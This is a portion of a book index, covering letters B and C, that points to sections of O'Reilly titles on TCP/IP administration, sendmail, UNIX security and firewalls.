TCP/IP Network Administration, 9.4.2. BOOTP extensions
TCP/IP Network Administration, 9.6.1. rdist
clients : TCP/IP Network Administration, D.3.2. Configuration Parameters
expanded by DHCP : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
Bootparams table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
BOOTREPLY packet : TCP/IP Network Administration, 3.6. Bootstrap Protocol
BOOTREQUEST packet
TCP/IP Network Administration, 3.6. Bootstrap Protocol
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.4.1. BOOTP gateway
TCP/IP Network Administration, 9.5.1. dhcpd.conf
Bootstrap Protocol : (see BOOTP)
Border Gateway Protocol : (see BGP)
border routers : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
bouncing messages
sendmail, 10.3. Missing Addresses
sendmail, 35.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
down sites and : sendmail, 23.7.1. Handling a Down Site
error messages and : sendmail, 34.8. Alphabetized Reference
mailing lists and
sendmail, 25.5.1. Reply Versus Bounce
sendmail, 25.5.3. A list-bounced Alias
to postmaster
sendmail, 22.8.3.4. The PostmasterCopy option
sendmail, 24.4.1. The Postmaster Alias
priority and : sendmail, 14.4. Precedence
recipient of : (see $n macro)
from retired accounts : sendmail, 19.6. Alphabetized m4 Macros
return interval : sendmail, 13.2.2. Limit the Life of Queued Messages
saved in qf file : sendmail, 23.3.6. Savemail Panic
Bourne shell
Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Practical UNIX & Internet Security, 11.5.1. Shell Features
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
SUID and
Practical UNIX & Internet Security, 5.5.2. Problems with SUID
(see also shells)
bps (bits per second) : Practical UNIX & Internet Security, 14.1. Modems: Theory of Operation
braces ({})
sendmail, 5.3.2. Macros
sendmail, 5.3.5. Class Macros
sendmail, 7.1. Overview
configuration statements
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.2. The gated Configuration Language
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
long variable names : TCP/IP Network Administration, 10.5. sendmail Configuration
macro names : TCP/IP Network Administration, 10.5.2. The Define Macro Command
BREAK key : Practical UNIX & Internet Security, 14.5.3.2. Answer testing
breakdowns : (see disasters and disaster recovery)
breakins
checklist for : Practical UNIX & Internet Security, A.1.1.23. Chapter 24: Discovering a Break-in
legal options following : Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
responding to
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
resuming operation after : Practical UNIX & Internet Security, 24.6. Resuming Operation
broadcast addresses
Building Internet Firewalls, C.9. The IP Address
TCP/IP Network Administration, 2.2.2.1. Final notes on IP addresses
TCP/IP Network Administration, 2.6. Address Resolution
TCP/IP Network Administration, 4. Getting Started
TCP/IP Network Administration, 6.1. The ifconfig Command
TCP/IP Network Administration, 6.1.2. Checking the Interface with ifconfig
(see also addresses)
broadcast messages : sendmail, 14.4. Precedence
broadcast storm : Practical UNIX & Internet Security, 25.3.2. Message Flooding
broadcasting : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
BROKEN_RES_SEARCH macro : sendmail, 18.8. Alphabetized Reference
browsers, web
Building Internet Firewalls, 2.5. The World Wide Web
Practical UNIX & Internet Security, 18.5. Risks of Web Browsers
Practical UNIX & Internet Security, 18.5.2. Trusting Your Software Vendor
TCP/IP Network Administration, 13.1. The World Wide Web
as FTP clients : Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
as Gopher clients : (see Gopher)
MIME in : Building Internet Firewalls, 8.1.3. Multipurpose Internet Mail Extensions
Netscape Navigator
Building Internet Firewalls, 2.5. The World Wide Web
TCP/IP Network Administration, 13.1. The World Wide Web
encryption system of : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
random number generator : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
BSD (Berkeley Software Distribution) : Building Internet Firewalls, 2.14. Printing Systems
kernel configuration file : TCP/IP Network Administration, 5.3. The BSD Kernel Configuration File
remounting filesystems on BSD systems : TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
r commands
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, 6.1.2.2. Some protocols are not well suited to packet
configuring : Building Internet Firewalls, 8.4.1. BSD
BSD UNIX : Practical UNIX & Internet Security, 1.3. History of UNIX
accounting with : Practical UNIX & Internet Security, 10.2.2. Accounting with BSD
Fast Filesystem (FFS) : Practical UNIX & Internet Security, 25.2.2.6. Reserved space
groups and : Practical UNIX & Internet Security, 4.1.3.3. Groups and BSD or SVR4 UNIX
immutable files : Practical UNIX & Internet Security, 9.1.1. Immutable and Append-Only Files
modems and : Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
programming references : Practical UNIX & Internet Security, D.1.11. UNIX Programming and System Administration
ps command with : Practical UNIX & Internet Security, C.1.2.2. Listing processes with Berkeley-derived versions of
published resources for : Practical UNIX & Internet Security, D.1. UNIX Security References
restricted shells : Practical UNIX & Internet Security, 8.1.4.2. Restricted shells under Berkeley versions
SUID files, list of : Practical UNIX & Internet Security, B.3. SUID and SGID Files
sulog log under : Practical UNIX & Internet Security, 4.3.7.1. The sulog under Berkeley UNIX
utmp and wtmp files : Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
BSD-Compress scheme : TCP/IP Network Administration, A.2. The PPP Daemon
BSD/OS (operating system) : Practical UNIX & Internet Security, 1.3. History of UNIX
BSD4_3 and BSD4_4 macros : sendmail, 18.8. Alphabetized Reference
bsh (Bash shell) : Practical UNIX & Internet Security, 8.1.4.4. No restricted bash
BSI/GISA : Practical UNIX & Internet Security, F.3.4.15. Germany: government institutions
btree database class : sendmail, 33.8. Alphabetized Reference
buffers
checking boundaries : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
for editors : Practical UNIX & Internet Security, 11.1.4. Trojan Horses
overruns : TCP/IP Network Administration, 6.1.5.4. Maximum transmission unit
tokenizations : (see workspace)
bugs
Practical UNIX & Internet Security, 1.1. What Is Computer Security?
Practical UNIX & Internet Security, 1.4.2. Software Quality
Practical UNIX & Internet Security, 23.1.2.1. What they found
Practical UNIX & Internet Security, 27.2.3. Buggy Software
Practical UNIX & Internet Security, 27.2.5. Security Bugs that Never Get Fixed
sendmail, 18.2. Vendor Versus Compiling
sendmail, 18.8. Alphabetized Reference
sendmail, 22.3.1. SMTP debug
(see also debugging)
(see
Bugtraq mailing list : Practical UNIX & Internet Security, E.1.3.3. Bugtraq
command-line : Building Internet Firewalls, 8.1. Electronic Mail
db library package : sendmail, C.2. Get the Source
fixes : sendmail, 2.2. Read the Documents
hacker challenges : Practical UNIX & Internet Security, 27.2.4. Hacker Challenges
hardware : Practical UNIX & Internet Security, 27.2.1. Hardware Bugs
.htaccess file : Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
in packet filtering packages : Building Internet Firewalls, 6.1.2.1. Current filtering tools are not perfect
keeping secret : Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
nested angle brackets : sendmail, 10.4. Nested Angle Brackets
NIS and vfork : sendmail, 18.8. Alphabetized Reference
tips on avoiding : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
bugs (biological) : Practical UNIX & Internet Security, 12.2.1.7. Bugs (biological)
BugTraq mailing list : Building Internet Firewalls, A.3.4. BugTraq
building
sendmail, 18.3.2. The makesendmail Script
(see also configuration)
alias database
sendmail, 24.5.1. Rebuild the Alias Database
sendmail, 24.5.2. Check the Right Side of Aliases
bastion hosts : Building Internet Firewalls, 5.8. Building a Bastion Host
sendmail
sendmail, 18.3.2. The makesendmail Script
sendmail, 18.5. Run Make
sendmail, 19.2. Build with m4
bulk erasers : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
bulk precedence
sendmail, 14.4. Precedence
sendmail, 25.5.5. Precedence: bulk
byte-by-byte comparisons
Practical UNIX & Internet Security, 9.2.1. Comparison Copies
Practical UNIX & Internet Security, 9.2.1.3. rdist
byte-oriented masks : TCP/IP Network Administration, 2.3. Subnets
bytes, zero-filled : Practical UNIX & Internet Security, 7.4. Software for Backups

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C configuration command
sendmail, 5.3.5. Class Macros
sendmail, 12.1.1. Declaring a Class
sendmail, 12.1.6. Add Class w to client.cf
sendmail, 14.6. Trusted User
sendmail, 32.1. Class Configuration Commands
sendmail, 32.1.1. The C Class Command
c flag : sendmail, 30.8. Alphabetized F= Flags
C flag
sendmail, 30.7. Pitfalls
sendmail, 30.8. Alphabetized F= Flags
C line (qf file) : sendmail, 23.9. The qf File Internals
$c macro : sendmail, 31.10. Alphabetized Reference
$C macro : sendmail, 31.10. Alphabetized Reference
c option : (see HoldExpensive (c) option)
C option : (see CheckpointInterval (C) option)
C programming language
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
-Wall compiler option : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
.C rule-testing command : sendmail, 38.2.2. Add to a Class with .C
C shell : (see csh)
-c switch (sendmail) : sendmail, 36.7. Alphabetized Reference
-C switch (sendmail)
sendmail, 5.2. The Minimal File
sendmail, 15.2. The Real Queue Directory
sendmail, 36.7. Alphabetized Reference
C2 audit : Practical UNIX & Internet Security, 10.1. The Basic Log Files
C= equate : sendmail, 30.4. The Equates
cable tester
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3.1. The ping Command
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
cables
Category 5 : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
checking
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
TCP/IP Network Administration, 11.4.4.1. Network hardware problems
network
Practical UNIX & Internet Security, 12.2.4.2. Network cables
Practical UNIX & Internet Security, 12.3.1.5. Fiber optic cable
Practical UNIX & Internet Security, 12.3.1.1. Wiretapping
cutting : Practical UNIX & Internet Security, 25.1. Destructive Attacks
wiretapping : Practical UNIX & Internet Security, 12.3.1.1. Wiretapping
Unshielded Twisted Pair (UTP) : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
caching
Practical UNIX & Internet Security, 5.6. Device Files
TCP/IP Network Administration, 3.3. Domain Name Service
corruption : TCP/IP Network Administration, 11.6.3. Cache corruption
initialization file : TCP/IP Network Administration, 8.3.3. The Cache Initialization File
MX records : sendmail, 21.3.6. Caching MX Records
nameserver : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
servers : sendmail, 21.1. Overview
single answers : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
statement
TCP/IP Network Administration, 8.3.1.1. Configuring a caching-only nameserver
TCP/IP Network Administration, C.2. named.boot Configuration Commands
caching-only servers
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, 8.3.1.1. Configuring a caching-only nameserver
Caesar Cipher : Practical UNIX & Internet Security, 6.4.3. ROT13: Great for Encoding Offensive Jokes
calculating costs of losses : Practical UNIX & Internet Security, 2.3.1. The Cost of Loss
call forwarding : Practical UNIX & Internet Security, 14.5.4. Physical Protection of Modems
Call Trace : Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
CALLBACK= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
callbacks
Practical UNIX & Internet Security, 14.4.2.
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
BNU UUCP : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
Version 2 UUCP : Practical UNIX & Internet Security, 15.4.1.5. Requiring callback
Caller-ID (CNID)
Practical UNIX & Internet Security, 14.4.3. Caller-ID (CNID)
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
Canada, export control in : Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
cannot connect error : TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
/canon rule-testing command : sendmail, 38.5.1. Canonify a Host with /canon
canonical name : sendmail, 7.3.1. The hostname
CNAME resource records
sendmail, 21.3.2. MX to CNAME Causes Extra Lookups
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, 10.7.1. Modifying Local Information
TCP/IP Network Administration, C.3.1.5. Canonical Name record
determining with DNS : sendmail, 21.2.1. Determine the Local Canonical Name
host : sendmail, 31.10. Alphabetized Reference
local : (see $j macro)
canonicalization
sendmail, 17.2.1. Is the Host Local?
sendmail, 38.5.1. Canonify a Host with /canon
$[ and $] operators and
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 21.2.4. The $[ and $] Operators
sendmail, 28.6.6. Canonicalize Hostname: $[ and $]
sendmail, 33.4.3. $[ and $]: A Special Case
nocanonify feature : sendmail, 19.6. Alphabetized m4 Macros
capitalization
aliases : sendmail, 3.1.1. The Aliases File
database keys
sendmail, 33.2.1.2. -f don't fold uppercase to lowercase
sendmail, 33.3.4.3. -f don't fold keys to lowercase (V8.1 and above)
hostnames : sendmail, 30.8. Alphabetized F= Flags
macro names and : sendmail, 7.2. Defining Macros
usernames
Practical UNIX & Internet Security, 3.1. Usernames
sendmail, 30.8. Alphabetized F= Flags
capturing intruders : Building Internet Firewalls, 13.3. Pursuing and Capturing the
carbon copies : sendmail, 35.10. Alphabetized Reference
carbon monoxide : Practical UNIX & Internet Security, 12.2.1.2. Smoke
caret (^) in encrypted messages : Practical UNIX & Internet Security, 6.2. What Is Encryption?
carrier-detect (DCD) indicator, monitoring : TCP/IP Network Administration, 6.3.3. chat
case : (see capitalization)
cat command
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
-ve option : Practical UNIX & Internet Security, 5.5.4.1. The ncheck command
-v option : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
cat-passwd command : Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
catastrophe logs : Building Internet Firewalls, 5.8.1.4. Safeguard the system logs
category data, DSN delivery : sendmail, 30.5.2.1. The $@ dsn part
CBC (cipher block chaining)
Practical UNIX & Internet Security, 6.4.4.2. DES modes
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
CBW (Crypt Breaker's Workbench) : Practical UNIX & Internet Security, 6.6.1.1. The crypt program
"Cc:" header line : sendmail, 35.10. Alphabetized Reference
CCTA IT Security & Infrastructure Group : Practical UNIX & Internet Security, F.3.4.39. UnisysUK: other government
CD-ROM
Building Internet Firewalls, 5.3.3. What Hardware Configuration?
Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
CDFs (context-dependent files)
Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
ceilings, dropped : Practical UNIX & Internet Security, 12.2.3.1. Raised floors and dropped ceilings
cellular telephones : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
central administrator : (see system administration)
CERCUS (Computer Emergency Response Committee for Unclassified Systems) : Practical UNIX & Internet Security, F.3.4.36. TRW Network Area and System Administrators
Cerf, Vint : Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
CERN : Practical UNIX & Internet Security, E.4.1. CERN HTTP Daemon
HTTP daemon : Building Internet Firewalls, B.5.2. CERN httpd
HTTP server : Building Internet Firewalls, 8.6.2. Proxying Characteristics of
CERT (Computer Emergency Response Team)
Practical UNIX & Internet Security, 6.5.2. Using Message Digests
Practical UNIX & Internet Security, 27.3.5. Response Personnel?
Practical UNIX & Internet Security, F.3.4.1. All Internet sites
CERT-NL (Netherlands) : Practical UNIX & Internet Security, F.3.4.25. Netherlands: German government institutions
mailing list for : Practical UNIX & Internet Security, E.1.3.4. CERT-advisory
CERT-CC response teams
Building Internet Firewalls, 13.4.4.2. CERT-CC and other incident response teams
Building Internet Firewalls, A.2.2. info.cert.org
Building Internet Firewalls, A.3.5. CERT-Advisory
Building Internet Firewalls, A.5.1. CERT-CC
contacting regarding incident : Building Internet Firewalls, 13.1.4.2. CERT-CC or other incident response
cf directory : sendmail, 16.1. The cf/cf Directory
cf/cf directory : TCP/IP Network Administration, 10.4.1. Locating a Sample sendmail.cf File
cf/feature directory : TCP/IP Network Administration, E.3.2. FEATURE
cf/ostype directory : TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
_CF_DIR_ macro : sendmail, 19.2.1. Maintain local files with _CF_DIR_
CFB (cipher feedback) : Practical UNIX & Internet Security, 6.4.4.2. DES modes
CGI (Common Gateway Interface)
Building Internet Firewalls, 8.6.3.1. What can a malicious client do to
Practical UNIX & Internet Security, 18.1. Security and the World Wide Web
scripts
Practical UNIX & Internet Security, 18.2. Running a Secure Server
Practical UNIX & Internet Security, 18.2.3. Writing Secure CGI Scripts and ProgramsThe
Practical UNIX & Internet Security, 18.2.4.1. Beware mixing HTTP with anonymous FTP
cgi-bin directory : Practical UNIX & Internet Security, 18.2.2. Understand Your Server's Directory Structure
cgm image subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
chacl command : Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
Challenge Handshake Authentication Protocol : (see CHAP)
challenge string : TCP/IP Network Administration, 6.3.4. PPP Daemon Security
challenge-response system
Building Internet Firewalls, 10.2.2. Something You Know
Building Internet Firewalls, 10.3.3. Challenge-Response Schemes
change detection
Practical UNIX & Internet Security, 9.2. Detecting Change
Practical UNIX & Internet Security, 9.3. A Final Note
CHAP (Challenge Handshake Authentication Protocol)
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
chap-secrets file : TCP/IP Network Administration, 6.3.4. PPP Daemon Security
Chapman, Brent : TCP/IP Network Administration, 12.1.1. Assessing the Threat
character devices : Practical UNIX & Internet Security, 5.6. Device Files
character set : sendmail, 30.4. The Equates
character-type arguments : sendmail, 34.5. Option Argument Types
chat groups, harassment via : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
chat script
TCP/IP Network Administration, 6.3.3. chat
TCP/IP Network Administration, A.2. The PPP Daemon
TCP/IP Network Administration, A.3. chat
chatkey : TCP/IP Network Administration, A.1.1. The dip Script File
chdir command
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
check_compat rule set : sendmail, 29.10.4. The check_compat Rule Set
check_mail rule set
sendmail, 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
sendmail, 29.10.1. The check_mail Rule Set
check_rcpt rule set : sendmail, 29.10.2. The check_rcpt Rule Set
check_relay rule set : sendmail, 29.10.3. The check_relay Rule Set
CheckAliases (n) option
sendmail, 24.5.2. Check the Right Side of Aliases
sendmail, 34.8. Alphabetized Reference
checkcompat()
sendmail, 20. The checkcompat() Cookbook
sendmail, 20.3. Alphabetized V8.8 Subroutines
checking : (see testing)
checklists for detecting changes
Practical UNIX & Internet Security, 9.2.2. Checklists and Metadata
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
CheckpointInterval (C) option : sendmail, 34.8. Alphabetized Reference
checksums
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
keeping secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
recalculating
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
using Tripwire for : Building Internet Firewalls, 5.8.5.1. Auditing packages
Chesson, Greg : Practical UNIX & Internet Security, 15.2. Versions of UUCP
chfn command : Practical UNIX & Internet Security, 8.2. Monitoring File Format
chgrp command : Practical UNIX & Internet Security, 5.8. chgrp: Changing a File's Group
child processes : Practical UNIX & Internet Security, C.2. Creating Processes
child, sendmail : sendmail, 30.6.2. The Child
chkey command : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
chmod command
Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
Practical UNIX & Internet Security, 5.2.4. Using Octal File Permissions
Practical UNIX & Internet Security, 8.3. Restricting Logins
-A option : Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
-f option : Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
-h option : Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
-R option : Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
choke points
Building Internet Firewalls, 3.3. Choke Point
Building Internet Firewalls, 9.2.3.3. Choke point
(see also firewalls)
(see also interior router)
using router as : Building Internet Firewalls, 6.1. Why Packet Filtering?
choot mechanism : Building Internet Firewalls, 5.3.1. What Operating System?
chown command
Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
chroot command
Building Internet Firewalls, 8.2.1.3. Providing anonymous
Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
Practical UNIX & Internet Security, 11.1.4. Trojan Horses
Practical UNIX & Internet Security, 23.4.1. Using chroot()
with anonymous FTP : Practical UNIX & Internet Security, 17.3.2.6. Setting up anonymous FTP with the standard UNIX FTP
chrootuid daemon
Building Internet Firewalls, B.6.3. chrootuid
Practical UNIX & Internet Security, E.4.2. chrootuid
chsh command : Practical UNIX & Internet Security, 8.7.1. Integrating One-time Passwords with UNIX
CIAC (Computer Incident Advisory Capability) : Practical UNIX & Internet Security, F.3.4.43. U.S. Department of Energy
CIDR (Classless Inter-Domain Routing)
Practical UNIX & Internet Security, 16.2.1.1. IP networks
Practical UNIX & Internet Security, 16.2.1.3. CIDR addresses
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
address mask
TCP/IP Network Administration, 2.2. The IP Address
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
blocks : TCP/IP Network Administration, B.11. The Aggregate Statements
cigarettes : Practical UNIX & Internet Security, 12.2.1.2. Smoke
cipher
Practical UNIX & Internet Security, 6.4.3. ROT13: Great for Encoding Offensive Jokes
TCP/IP Network Administration, 12.6. Encryption
(see also cryptography; encryption)
block chaining (CBC)
Practical UNIX & Internet Security, 6.4.4.2. DES modes
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
ciphertext
Practical UNIX & Internet Security, 6.2. What Is Encryption?
Practical UNIX & Internet Security, 8.6.1. The crypt()
feedback (CFB) : Practical UNIX & Internet Security, 6.4.4.2. DES modes
circuit-level proxy servers : Building Internet Firewalls, 7.3.1. Application-Level Versus Circuit-Level
CISCO : Practical UNIX & Internet Security, F.3.4.8. CISCO Systems
Cisco routers
Building Internet Firewalls, 6.5. Conventions for Packet Filtering
TCP/IP Network Administration, 12.5. Access Control
civil actions (lawsuits) : Practical UNIX & Internet Security, 26.3. Civil Actions
class command : sendmail, 12.1. The Class Command
class macros
sendmail, 5.3.5. Class Macros
sendmail, 12. Class
sendmail, 32. Class Macros
m4 and : sendmail, 32.3. Class with m4
class w, defining : TCP/IP Network Administration, 10.7.1. Modifying Local Information
class= equate (syslog output) : sendmail, 26.1.3.1. class= the queue class
classes
adding to : sendmail, 38.2.2. Add to a Class with .C
of addresses : (see addresses, classes of)
database : sendmail, 33.8. Alphabetized Reference
declaring : sendmail, 32.1. Class Configuration Commands
looking up words in : sendmail, 20.3. Alphabetized V8.8 Subroutines
name hashing algorithm : sendmail, 32.2.4. Class Name Hashing Algorithm
storing in files : sendmail, 12.2. The File Form of Class
ClassFactor (z) option : sendmail, 34.8. Alphabetized Reference
classified data and breakins
Practical UNIX & Internet Security, 26.1. Legal Options After a Break-in
Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
Classless Inter-Domain Routing (CIDR)
Practical UNIX & Internet Security, 16.2.1.1. IP networks
Practical UNIX & Internet Security, 16.2.1.3. CIDR addresses
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
address mask
TCP/IP Network Administration, 2.2. The IP Address
TCP/IP Network Administration, 2.2.2. Classless IP Addresses
blocks : TCP/IP Network Administration, B.11. The Aggregate Statements
clear text
Practical UNIX & Internet Security, 8.6.1. The crypt()
TCP/IP Network Administration, 12.6. Encryption
Clear to Send (CTS) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
client
authentication, network filesystems and : Building Internet Firewalls, 2.12. Network File Systems
flooding : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
internal versus external : Building Internet Firewalls, 7.4.5. Internal Versus External Clients
NIS : (see NIS)
port numbers : Building Internet Firewalls, 8. Configuring Internet Services
software for proxying : Building Internet Firewalls, 7.2.1. Using Custom Client Software for
client statement : TCP/IP Network Administration, B.8.10. The routerdiscovery Statement
client.cf : sendmail, A. The client.cf File
client/server model : Practical UNIX & Internet Security, 16.2.5. Clients and Servers
${client_addr} macro : sendmail, 31.10. Alphabetized Reference
${client_name} macro : sendmail, 31.10. Alphabetized Reference
clock, system
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
configuring : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
for random seeds : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
resetting : Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
setting : Building Internet Firewalls, 2.11. Time Service
Secure RPC timestamp : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
clogging : Practical UNIX & Internet Security, 25.3.4. Clogging
CNAME resource records
sendmail, 21.3.2. MX to CNAME Causes Extra Lookups
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, 10.7.1. Modifying Local Information
TCP/IP Network Administration, C.3.1.5. Canonical Name record
CNID (Caller-ID)
Practical UNIX & Internet Security, 14.4.3. Caller-ID (CNID)
Practical UNIX & Internet Security, 14.6. Additional Security for Modems
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
CO2 system (for fires) : Practical UNIX & Internet Security, 12.2.1.1. Fire
COAST (Computer Operations, Audit, and Security Technology)
Building Internet Firewalls, A.1.2. COAST
Building Internet Firewalls, A.2.1. coast.cs.purdue.edu
Practical UNIX & Internet Security, E.3.2. COAST
Practical UNIX & Internet Security, E.4. Software Resources
code breaking : (see cryptography)
codebooks : Practical UNIX & Internet Security, 8.7.3. Code Books
CodeCenter : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
codes : (see numbers)
cold, extreme : Practical UNIX & Internet Security, 12.2.1.6. Temperature extremes
Collis field : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
collision rate
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
reducing : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
colon (:)
in addresses
sendmail, 17.1.2.1. A rule to handle List:;
sendmail, 34.8. Alphabetized Reference
beginning and ending fields
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
separating parameters : TCP/IP Network Administration, 9.4. A BOOTP Server
ColonOkInAddr option : sendmail, 34.8. Alphabetized Reference
columns, database key
sendmail, 33.3.4.4. -k specify column for key (V8.7 and above)
sendmail, 33.3.4.11. -v specify the value's column (V8.7 and above)
com domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
command channel attacks : Building Internet Firewalls, 8.1. Electronic Mail
command execution : Building Internet Firewalls, 2.3. Remote Terminal Access and Command
command line : sendmail, 4. How to Run sendmail
bugs : Building Internet Firewalls, 8.1. Electronic Mail
processing : sendmail, 36.4. Processing the Command Line
troubleshooting : sendmail, 36.6. Pitfalls
command shells : (see shells)
commands
Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
(see also under specific command name)
accounts running single : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
in addresses : Practical UNIX & Internet Security, 15.7. Early Security Problems with UUCP
configuration
sendmail, 5.1. Overview
sendmail, 27.1. Overall Syntax
in <Directory> blocks : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
editor, embedded : Practical UNIX & Internet Security, 11.5.2.7. Other initializations
incorrect usage error : sendmail, 36.5.10. EX_USAGE A Command Was Used Incorrectly
remote execution of
Practical UNIX & Internet Security, 15.1.2. uux Command
Practical UNIX & Internet Security, 15.4.3. L.cmds: Providing Remote Command Execution
Practical UNIX & Internet Security, 17.3.17. rexec (TCP Port 512)
running simultaneously
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
(see also multitasking)
COMMANDS= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
commenting out lines : Building Internet Firewalls, 5.8.2.2. How to disable services
commenting out services : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
comments
sendmail, 5.2.2. Comments
sendmail, 6.3.2. Adding Comments
